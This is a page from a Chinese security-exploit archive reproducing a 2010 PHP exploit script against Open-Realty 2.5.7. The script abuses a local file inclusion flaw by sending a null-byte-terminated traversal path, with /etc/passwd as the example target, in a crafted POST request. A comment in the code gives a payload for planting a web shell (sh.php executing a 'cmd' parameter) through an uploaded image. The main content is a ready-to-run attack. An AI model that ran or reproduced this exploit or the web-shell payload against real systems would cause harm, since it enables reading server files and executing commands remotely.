首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Open-Realty 2.5.7 Local File Disclosure Vulnerability
来源:vp.nikola@gmail.com 作者:Petrov 发布时间:2010-08-19  

<?php
/*
 * Exploit Title:
 * Date: 2010-08-18
 * Author: Nikola Petrov
 * Vendor: http://open-realty.org/
 * Version: 2.5.7
 */
 /*
  vulnerable: Open-Realty 2.5.7
  LFI: /index.php
  
  upload image with: <?php system("echo \"<?php if(isset(\$_GET[\"cmd\"])) system(\$_GET[\"cmd\"]); ?>\" > sh.php"); ?>
  include the image and sh.php will be generated.
  proceed with sh.php

  MAGIC_QUOTES must be 'off' and %00 must not be replaced with \0.
 */

 print "\n\n#########################################################################\n";
 print "#LFI discovery and implementation: Nikola Petrov (vp.nikola@gmail.com)\n";
 print "#Date: 05.09.2009\n";
 print "#########################################################################\n\n";

 if($argc < 5) {
  print "usage: $argv[0] host port path file [debug: 1/0]\n";
  print "example: $argv[0] localhost 80 / ../../../../../../../../../../../../etc/passwd\n\n\n";
  exit();
 }

 $Host = $argv[1];
 $Port = $argv[2];
 $Path = $argv[3];
 $File = $argv[4];

 function HttpSend($aHost, $aPort, $aPacket) {
  $Response = "";

  if(!$Socket = fsockopen($aHost, $aPort)) {
   print "Error connecting to $aHost:$aPort\n\n";
   exit();
  }
  
  fputs($Socket, $aPacket);
  
  while(!feof($Socket)) $Response .= fread($Socket, 1024);
  
  fclose($Socket);
  
  return $Response;
 }

 $VulnRequest = "select_users_lang=". $File . "%00";
 
 $Packet  = "POST {$Path} HTTP/1.1\r\n";
 $Packet .= "Host: {$Host}\r\n";
 $Packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
 $Packet .= "Content-Length: " . strlen($VulnRequest) . "\r\n\r\n";
 $Packet .= "$VulnRequest\n";

 if($argv[5] == 1) print $Packet;

 print HttpSend($Host, $Port, $Packet);
?>


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Httpdx 1.5.4 Multiple Denial o
·RockN Wav Editor 1.8 Denial of
·A-PDF WAV to MP3 v1.0.0 Univer
·Webedition 6.0.0.8 (Search.php
·VbsEdit v4.6.1.0 Denial of Ser
·SOMPL Music Player v1.0 (.m3u)
·Vural Portal 2010 Remote Datab
·SonicWALL E-Class SSL-VPN Acti
·FreeBSD mbufs() sendfile Cache
·Triologic Media Player 8 (.m3u
·Tuniac 100723 Denial of Servic
·A-PDF WAV to MP3 Converter 1.0
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved